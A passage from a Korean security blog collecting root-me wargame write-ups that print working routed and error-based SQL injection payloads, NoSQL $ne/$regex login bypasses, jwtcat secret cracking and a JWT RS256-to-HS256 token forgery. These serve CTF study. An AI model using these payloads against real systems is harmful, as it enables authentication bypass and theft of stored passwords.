숫자를 하나씩 증가시켜 보겠습니다. 두 번째 쿼리에 'order by 2-- - 쿼리를 넣었을 때도 마찬가지로 빈 데이터가 출력되지만 'order by 3-- - 쿼리를 넣으면 에러가 발생하고 있습니다.

 

'union select 0x276f7264657220627920332d2d202d--+- 쿼리를 입력할 경우, 에러가 출력되고 있기 때문에, 필드 수는 2개 임을 확인할 수 있습니다.

 

Step 2. 테이블명 파악

테이블 명을 파악하기 위해 두 번째 쿼리에 테이블 명을 반환하는 쿼리를 입력해보겠습니다. 두번째 쿼리에

'union select 1,(select table_name from information_schema.tables where table_type='base table')-- -

위의 평문 쿼리를 이용하여

 

'union select 0x276f7264657220627920332d2d202d27756e696f6e2073656c65637420312c2873656c656374207461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f747970653d2762617365207461626c6527292d2d202d--+- 쿼리를 입력할 경우, users라는 테이블 명이 출력되었습니다.

 

Step 3. 컬럼명 파악

컬럼 명을 파악하기 위해 두 번째 쿼리에 컬럼 명을 반환하는 쿼리를 입력해보겠습니다. 두번째 쿼리에

'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')-- -

위의 평문 쿼리를 이용하여

 

'union select 0x27756e696f6e2073656c65637420312c2873656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27757365727327292d2d202d--+- 쿼리를 입력할 경우, id, login, password, email라는 컬럼 명을 파악할 수 있습니다.

 

Step 4. 데이터 파악

마지막으로 관리자(admin)의 패스워드를 뽑아보도록 하겠습니다. 두 번째 쿼리에

'union select 1,(select password from users where email='admin@sqli_me.com')-- -

위의 평문 쿼리를 이용하여(admin을 검색할 경우 나왔던 email 값을 이용하였음)

 

'union select 0x27756e696f6e2073656c65637420312c2873656c6563742070617373776f72642066726f6d20757365727320776865726520656d61696c3d2761646d696e4073716c695f6d652e636f6d27292d2d202d--+- 쿼리를 삽입해 관리자의 패스워드, 즉 Flag 값 획득에 성공하였습니다.'

 


※ 참고 자료 ※

-http://www.securityidiots.com/Web-Pentest/SQL-Injection/routed_sql_injection.html

-https://improsec.com/tech-blog/routed-sql-injection

반응형
반응형

Error based SQL Injection 문제입니다. 관리자의 패스워드를 획득하는 것이 목표입니다.

 

문제에 들어가 보면 [Authentication] 메뉴와 [Contents] 메뉴 두 개가 있습니다.

우선, [Authentication] 메뉴에 있는 로그인 폼에다가 임의로 로그인을 해보았습니다. [admin/1234]

 

"login failed" 라는 에러 문구만 출력되고 다른 에러는 보이지 않습니다.

취약한 포인트가 아닌 것 같네요. 

이번에는 [Contents] 메뉴를 클릭해보았습니다.

 

[Contents] 메뉴 클릭 시 action과 order 파라미터가 전송되는데 order 파라미터 값에 싱글 쿼터를 삽입해보았습니다.

 

데이터베이스 오류가 출력됩니다! 이 포인트를 이용해서 에러 기반 SQL Injection을 진행하면 될 것 같습니다.

 

어떤 데이터베이스를 사용하는지 몰라서 우선 모든 구문을 다 삽입해보았습니다.

https://sqlwiki.netspi.com/injectionTypes/errorBased/#postgresql

 

NetSPI SQL Injection Wiki

Error based SQL Injections are exploited through triggering errors in the database when invalid inputs are passed to it.

sqlwiki.netspi.com

위 링크에 나와있는 Mysql, Oracle 등의 구문을 삽입하다가 Postgresql 구문이 정상 실행되어 데이터베이스 종류를 파악할 수 있었습니다.

 

1. VERSION 정보

,cast(,cast(chr(126)||version()||chr(126)+as+int)-- 구문으로 PostgreSQL 버전 정보를 획득할 수 있습니다.

 

2. 테이블 정보

,cast(,cast(chr(126)||(select+table_name+from+information_schema.tables+limit+1)||chr(126)+as+int)-- 구문으로 테이블 정보를 획득합니다. 테이블 명이 m3mbr35t4bl3 임을 확인할 수 있습니다.

 

3. 컬럼 정보

,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1)||chr(126)+as+int)-- 구문으로 첫 번째 컬럼 정보를 획득합니다. 첫번째 컬럼 명은 id입니다.

 

두 번째 컬럼 정보를 얻기 위해 구문에 offset을 추가하였습니다.

,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1+offset+1)||chr(126)+as+int)-- 구문으로 두 번째 컬럼 정보를 획득합니다. 두번째 컬럼 명은 us3rn4m3_c0l입니다. 

 

패스워드 컬럼을 찾기 위해 세번째 컬럼 명까지 확인해보았습니다.

,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1+offset+2)||chr(126)+as+int)-- 구문으로 세 번째 컬럼 정보를 획득합니다. 세번째 컬럼 명은 p455w0rd_c0l입니다. 해당 컬럼에 패스워드 정보가 들어있을 것 같다는 예상이 됩니다.

 

4. 데이터 정보

패스워드 컬럼 명까지 확인했으니 데이터를 뽑아보겠습니다.

우선은 ,cast(,cast(chr(126)||(select+us3rn4m3_c0l+from+m3mbr35t4bl3+limit+1+offset+0)||chr(126)+as+int)-- 구문으로 유저 컬럼의 첫 번째 데이터부터 확인합니다. 첫번째 데이터 값이 admin 이므로 admin에 해당하는 패스워드만 확인하면 될 것 같습니다.

 

,cast(,cast(chr(126)||(select+p455w0rd_c0l+from+m3mbr35t4bl3+limit+1+offset+0)||chr(126)+as+int)-- 구문으로 admin의 패스워드 값을 확인합니다. 해당 값이 Flag이기 때문에 바로 인증하시면 됩니다!

반응형
반응형

JSON Web Token(JWT) 관련 마지막 문제입니다. 

이전에 작성했던 JWT - Public Key 보다 난이도가 낮은데 앞 문제부터 포스팅해버렸네요.

어쨌든 이번에는 Weak Secret 문제입니다.

 

문제에 접속해보면 위와 같은 메시지가 출력되고 있습니다. 

간단한 게임을 해보자며(쏘우 같네..ㅎ) 저희가 super secret admin section에 접근 못한다에 배팅을 걸었네요.

그러고 나서는 또 친절하게 token을 이용해서 /admin에 접속하면 된다며 힌트를 주고 있습니다.

 

힌트에 나온 대로 /token에 접근해보니 jwt 값을 얻을 수 있습니다.

 

admin section에 획득한 jwt 값을 이용해서 접근해보니,, 인증 값이 안 맞다며 놀리고 있네요.

 

우선, 획득한 jwt 값을 디코딩해보았습니다. 알고리즘은 HS512를 사용하고 있고, Payload 상의 role(권한)이 guest 권한이라 admin section 접근 거부당한 것을 알 수 있습니다.

 

role(권한)을 admin으로 변조하려면 secret key 값을 알아내야 합니다.

Key cracking 툴은 여러 종류가 있기 때문에 본인의 취향에 맞게 선택하시면 될 것 같네요.

John the Ripper, PyJWT, jwtcat 등을 사용하시면 됩니다.

 

저는 jwtcat 툴을 사용했습니다. jwtcat 툴을 설치하는 과정입니다.

$ git clone https://github.com/AresS31/jwtcat

$ cd jwtcat

$ pip3 install -r requirements.txt

 

pip3 install -r requirements.txt << 해당 명령어가 실행이 안되면 아래 명령어를 순서대로 실행 후 다시 진행하세요.

$ sudo apt-get update

$ sudo apt-get install python3-pip

 

jwtcat을 설치했으면 key Cracking 과정만 남았습니다.

$ python3 jwtcat.py -t TOKEN -w WORDLIST

 

TOKEN에 획득한 jwt 토큰 값을 입력하고 WORDLIST에 패스워드 사전 경로를 입력해 주시면 됩니다.

wordlist는 crunch, cupp, 워드하운드, BruteScrape 등으로 직접 만드셔도 되고 웹 상에 업로드된 리스트를 사용하셔도 무방합니다. 저는 구글링으로 기존에 만들어져 있는 password list를 다운로드하여 사용했습니다.

(용량이 너무 커서 첨부를 못하네요...ㅜㅜ)

 

아무튼 jwtcat를 실행하시면 크랙된 Secret key 획득에 성공할 수 있습니다.

 

획득한 secret key를 이용해서 변조한 페이로드를 서명하시면 됩니다.

Payload의 role을 admin으로 바꾸고, Signature 부분에 획득한 secret key(lol)을 입력해주면 jwt 포맷으로 토큰 값이 나옵니다. 

 

이것을 다시 admin section에 접속할 때, Header의 Authorization 부분에 삽입해주면!~

admin 권한으로 인식되어 flag 값을 확인하실 수 있습니다.

 


※ 참고자료

- https://github.com/AresS31/jwtcat

 

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL Injection - Routed  (0) 2020.03.20
[root-me] SQL injection - Error  (0) 2020.03.12
[root-me] JSON Web Token(JWT) - Public key  (0) 2020.03.05
[root-me] NoSQL Injection - Authentication  (0) 2020.03.03
[root-me] File upload - ZIP  (0) 2020.02.12
반응형

JWT(Json Web Token) - Public Key 문제를 풀어보도록 하겠습니다.

JWT에 대한 아주 기초적인 설명은 이전 포스트에서 언급했기 때문에 넘어가도록 하겠습니다.

2019/12/20 - [Study/Wargame] - [root-me] JSON Web Token (JWT) - Introduction

 

이번 문제는 이전 포스트에서 얘기한 JWT Attack 케이스 중 CASE3. algorithm 변조(RS256 to HS256)에 해당하는 문제였습니다.
HS256 알고리즘은 비밀키(Secret Key)를 사용하여 토큰의 Header와 Payload를 서명하고 인증하는 반면, RS256 알고리즘은 개인키(Private Key)를 사용해 서명하고, 이를 검증하기 위해 공개키(Public Key)를 사용합니다.

만약, 서명 알고리즘을 RS256에서 HS256으로 변경할 경우, 인증 서버에서는 공개키(Public Key)를 비밀키(Secret Key)로 사용하고 HS256 알고리즘을 사용해 서명을 확인합니다. 이러한 경우 공격자는 공개되어 있는 공개키(Public Key)를 얻어 토큰을 서명하고 HS256 알고리즘으로 서명을 검증해 JWT Attack이 이루어지는 것입니다.

 

문제를 풀어보도록 하겠습니다.

문제에 접속해보면 아무것도 없는 페이지가 출력되고 있습니다. 

하지만, 문제 설명(첫번째 사진)에 보면 대략적인 설명이 나와있습니다.

/key, /auth, /admin 이렇게 3가지의 end point가 있고, 이 문제의 목표는 admin section에 접근하는 것입니다.

 

순서대로 end point에 접근해보면서 정보를 모아보았습니다.

우선, /key 페이지에 접근하면 공개키(Public Key)를 쉽게 얻을 수 있습니다.

 

그다음엔 /auth 페이지에 POST 메소드로 접근해보았습니다. 메시지에 username 파라미터가 필요하다고 합니다.

 

username=admin 이라는 값을 삽입한 후 다시 한번 접근해보았습니다.

그렇지만, admin이 아니라는 Error 메시지만 출력되네요.

 

이번에는 username=guest 값을 삽입해보았습니다.

JWT 토큰 값을 얻었습니다~!

 

JWT 값을 BASE64 디코딩해보니 Header에 서명 알고리즘이 RS256, Payload에 username이 guest 임을 확인할 수 있습니다.

https://jwt.io/ << JWT 토큰 값 인코딩/디코딩 사이트

 

공격을 위해 Header의 alg 값을 HS256으로 변경하고 Payload를 우리가 원하는 값, 즉 admin으로 변경하였습니다.

더보기

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0

 

이번에는 누락된 검증 값을 얻는 과정입니다. 서명에 사용할 공개키(Public Key)가 필요한데, 해당 문제에서는 /key 페이지에서 확인할 수 있습니다. 실제 환경에서는 서버의 TLS 인증서를 이용할 수도 있다고 합니다.

 

/key 페이지에서 획득한 공개키(Public Key)를 ASCII hex 값으로 인코딩합니다.

더보기

2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541354568376c65726a69732f426839776443725a590a613268426d414c2f74322b4558767471764e396f734f754b6771336e5043774b5947347831494d32517177325a6e6930345949707055416b4a4e745a5a3541380a7855616749375654654d5872696f37634179656e71724e58386c4371663575746174392f584251613636346f4e5165565977556377593274635275547945444e0a6849377270706b4654715933704d6e437a514d6b6f6b6e5173467a6a616e76436763476d395738487349303956735430336b4e59422f59786b61323449796c680a51365255376e336b38555346562b6431395249666e364a6779554634747a646e65756757614245394c54776659304c2b45784a4e58473553306c6b466a7275790a4b796556763049374d684d79395843634d7462533450584330327357526e6f6b3552312f466e6b5153394b555a567075475257327036666d65754f4446396b520a33514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

ASCII hex 값으로 인코딩하는 이유는 Bytes를 사용자가 제어할 수 있을 뿐만 아니라 명령어 입력 시 안전하게 처리할 수 있기 때문이라고 합니다.

 

공개키(Public Key)를 HS256 알고리즘을 사용해서 서명합니다.

더보기

echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541354568376c65726a69732f426839776443725a590a613268426d414c2f74322b4558767471764e396f734f754b6771336e5043774b5947347831494d32517177325a6e6930345949707055416b4a4e745a5a3541380a7855616749375654654d5872696f37634179656e71724e58386c4371663575746174392f584251613636346f4e5165565977556377593274635275547945444e0a6849377270706b4654715933704d6e437a514d6b6f6b6e5173467a6a616e76436763476d395738487349303956735430336b4e59422f59786b61323449796c680a51365255376e336b38555346562b6431395249666e364a6779554634747a646e65756757614245394c54776659304c2b45784a4e58473553306c6b466a7275790a4b796556763049374d684d79395843634d7462533450584330327357526e6f6b3552312f466e6b5153394b555a567075475257327036666d65754f4446396b520a33514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

위의 명령어 입력 시 2ae5e070aaaa6e5eadc625c28598b9b766745a199e9482cfb912bf75e784e169 라는 결과를 얻었습니다.

 

위의 명령어는 획득한 HMAC 서명 값(2ae~)이 ASCII hex 값인데 이를 JWT 포맷으로 변경해주는 작업입니다.

더보기

python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('2ae5e070aaaa6e5eadc625c28598b9b766745a199e9482cfb912bf75e784e169')).replace('=','')\")"

명령어 실행 시 서명 값 KuXgcKqqbl6txiXChZi5t2Z0WhmelILPuRK_deeE4Wk 를 얻을 수 있습니다.

 

이제 완벽한 JWT 값이 만들어졌으니 인증 값을 전송해보도록 하겠습니다.

/admin 페이지에 접근해보니 [Authorization: Bearer JWT]  형식으로 인증하라고 쓰여있습니다.

 

헤더 값에 생성한 JWT 값을 추가하여 서버로 전송합니다.

jwt 값을 이용해 admin 권한으로 인증되어 Flag 값을 얻을 수 있습니다!

더보기

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.KuXgcKqqbl6txiXChZi5t2Z0WhmelILPuRK_deeE4Wk


※ 참고자료

- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Hacking%20JSON%20Web%20Token%20(JWT)%20-%20Rudra%20Pratap.pdf 

- https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/

- https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL injection - Error  (0) 2020.03.12
[root-me] JSON Web Token (JWT) - Weak secret  (0) 2020.03.06
[root-me] NoSQL Injection - Authentication  (0) 2020.03.03
[root-me] File upload - ZIP  (0) 2020.02.12
[root-me] PHP - preg_replace()  (0) 2020.01.08
반응형

NoSQL Injection 문제입니다. Admin 권한을 탈취하는 것이 아닌 hidden user를 찾는 것이 목표입니다.

그전에 앞서 우선 NoSQL 대해 알아보도록 하겠습니다.


NoSQL 이란?

NoSQL(=Not Only SQL)은 문서 저장소, 키값 저장소, 그래프 등과 같은 다른 저장 메커니즘에 의존하는 비관계형 데이터베이스입니다. 기존에 사용하던 관계형 데이터베이스로는 엄청난 수의 서버에 데이터를 배포해야 하는 소셜 네트워크 서비스를 제공할 수 없었기에 더 융통성 있고, 데이터의 저장 및 검색에 특화된 메커니즘, NoSQL이 각광받게 되었습니다.

가장 많이 쓰는 NoSQL DBMS로는 MongoDB, Cassandra, Redis 등이 있으며, NoSQL 데이터베이스의 인기는 지속적으로 증가하고 있는 추세입니다.

 

NoSQL 또한 초창기에는 보안적으로 미흡한 부분이 많이 보여지고 있습니다. 암호화, 인증 및 역할 관리 미흡, 네트워크 노출, DOS 공격 등을 허용하고 있었습니다. 그중에서 가장 자주 사용되는 공격 기법인 NoSQL Injection에 대해 써보려고 합니다.

 

NoSQL Injection

NoSQL Injection은 SQL Injection 공격과 크게 다르지 않습니다. 문법의 차이일 뿐입니다.

사용자 id와 패스워드를 이용한 로그인 매커니즘을 예를 들어보겠습니다. 아래는 HTTP POST 페이로드입니다.

userid=zzzz0&passwd=password1!

그리고 이것을 처리하고 MongoDB 쿼리 하는 PHP 코드는 아래와 같습니다.

db->logins->find(array("userid"=>$_POST["userid"], "passwd"=>$_POST["passwd"]));

개발자가 전송하는 쿼리는 다음과 같습니다.

db.logins.find({ userid : 'zzzz0', passwd : 'password1!' })

PHP는 공격자가 악의적인 페이로드를 보낼 수 있도록 연관 배열 메커니즘을 제공하고 있습니다.

userid[$ne]=1&passwd[$ne]=1

위와 같은 페이로드가 왔을 때, PHP 코드는 아래와 같습니다.

array("userid"=> array("$ne" => 1), "passwd" => array("$ne" => 1));

MongDB 쿼리는 다음과 같습니다.

db.logins.find({ userid : { $ne: 1 }, passwd : { $ne: 1 } })

$ne는 != 를 의미하는데, 이는 userid가 1이 아니고, passwd가 1이 아닌 항목, 즉 로그인 컬렉션의 모든 항목(사용자)을 반환한다는 것을 의미합니다. 따라서, 이 취약점을 이용해 로그인 인증 메커니즘을 우회해 로그인, 비인가 데이터 액세스, 비인가자 서비스 이용 등의 공격이 이루어질 수 있습니다.


문제를 풀어보면서 NoSQL Injection을 더 이해해보도록 하겠습니다.

 

문제에 들어가면, Nickname과 패스워드를 입력받는 로그인 폼이 보입니다.

어떤 방식으로 로그인이 이루어지는지 확인해보기 위해 admin/admin을 입력해보았습니다.

 

GET 메소드를 이용해 login, pass 파라미터가 전송되고 있습니다.

 

위에서 입력한 admin/admin의 결과 값은 Bad username or bad password!라고 로그인 에러가 출력됩니다.

 

앞에서 확인한 방법으로 $ne를 이용해 로그인 메커니즘 우회를 시도해보았습니다.

login이 admin 아니고, pass가 admin(임의 사용)이 아닌 사용자, test로 로그인되었습니다.

 

이번에는 login이 test가 아니고, pass가 admin이 아닌 사용자로 연결을 시도해보았습니다.

문제의 목표인 hidden user가 나오지 않고 그냥 admin으로 로그인되어버립니다.

 

 

MongoDB는 $ne 뿐만 아니라 많은 쿼리 연산자를 제공하고 있습니다.

{}[]() 관계 묶음 $ne not equal $regex 정규 표현식
', " 문자열 처리 $exist 키 존재 여부 $gt >
: 연결자 $where 필터링 스크립트 $lt <

 

MongoDB에서는 정규 표현식을 사용할 수 있었습니다. 

따라서, login이 admin도 아니고 test도 아닌 사용자를 찾는 쿼리를 전송하니 hidden user가 출력되었습니다.

 

정규 표현식을 잘 설명한 블로그 링크를 첨부하도록 하겠습니다.

https://hamait.tistory.com/342

 

※ NoSQL 참고 자료 

- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20NoSQL,%20No%20injection%20-%20Ron,%20Shulman-Peleg,%20Bronshtein.pdf

-https://medium.com/@shukla.iitm/nosql-injection-8732c2140576

-https://www.samsungsds.com/global/ko/support/insights/1195843_2284.html

반응형

+ Recent posts

반응형
반응형